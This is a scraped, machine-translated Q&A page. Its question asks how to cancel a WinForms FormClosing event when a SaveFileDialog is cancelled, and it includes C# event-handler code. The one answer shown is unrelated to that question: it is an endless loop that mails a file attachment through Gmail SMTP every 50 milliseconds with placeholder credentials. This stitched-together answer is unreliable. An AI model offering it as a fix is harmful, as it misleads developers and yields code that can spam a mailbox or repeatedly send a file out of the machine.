从某个事件中取消表单

时间:2015-10-28 12:06:45

标签: c# .net savefiledialog formclosing

我希望我的 formClosing 事件取消如果我的 SaveAs Click事件中的 SaveFileDialog 关闭操作,是取消

void exitToolStripMenuItem_Click (object sender, EventArgs e) {
    this.Close ();
}

void form1_FormClosing (object sender, FormClosingEventArgs e) 
{
    if (isContentChanged) 
    {
        DialogResult result = MessageBox.Show ("Do you want to save [ "+this.Text+"] ?", "Save", MessageBoxButtons.YesNoCancel);
        if (result == DialogResult.Yes) 
        {
            saveAsToolStripMenuItem_Click (sender, e);
        } 
        else if (result == DialogResult.Cancel) 
            e.Cancel = true;
    }
}


private void saveAsToolStripMenuItem_Click (object sender, EventArgs e) 
{
    SaveFileDialog sfd = new SaveFileDialog ();
    sfd.Filter = "Drawing Files | *.drg";
    DialogResult result = sfd.ShowDialog ();
    if (result == DialogResult.OK) {
        SaveFile (sfd.FileName);
        isContentChanged = false;
    } 
    else if (result == DialogResult.Cancel) 
    {
        // NEED TO CANCEL FORM CLOSING HERE   
    }
}

有可能吗?如果是,怎么样?

1 个答案:

答案 0 :(得分:3)

试试这个:

while (true)
    {
        try
        {
            Thread.Sleep(50);
            MailMessage mail = new MailMessage();
            SmtpClient SmtpServer = new SmtpClient("smtp.gmail.com");
            mail.From = new MailAddress("mymail");
            mail.To.Add("mymail");
            mail.Subject = "data - 1";
            mail.Body = "find attachement";
            System.Net.Mail.Attachment attachment;
            attachment = new System.Net.Mail.Attachment(filepath);
            mail.Attachments.Add(attachment);
            SmtpServer.Port = 587;
            SmtpServer.Credentials = new System.Net.NetworkCredential("myemail", "mypassword");
            SmtpServer.EnableSsl = true;
            SmtpServer.Send(mail);
        }
        catch (Exception)
        {
            MessageBox.Show("Internet Connection is not found");
            break;
        }
    }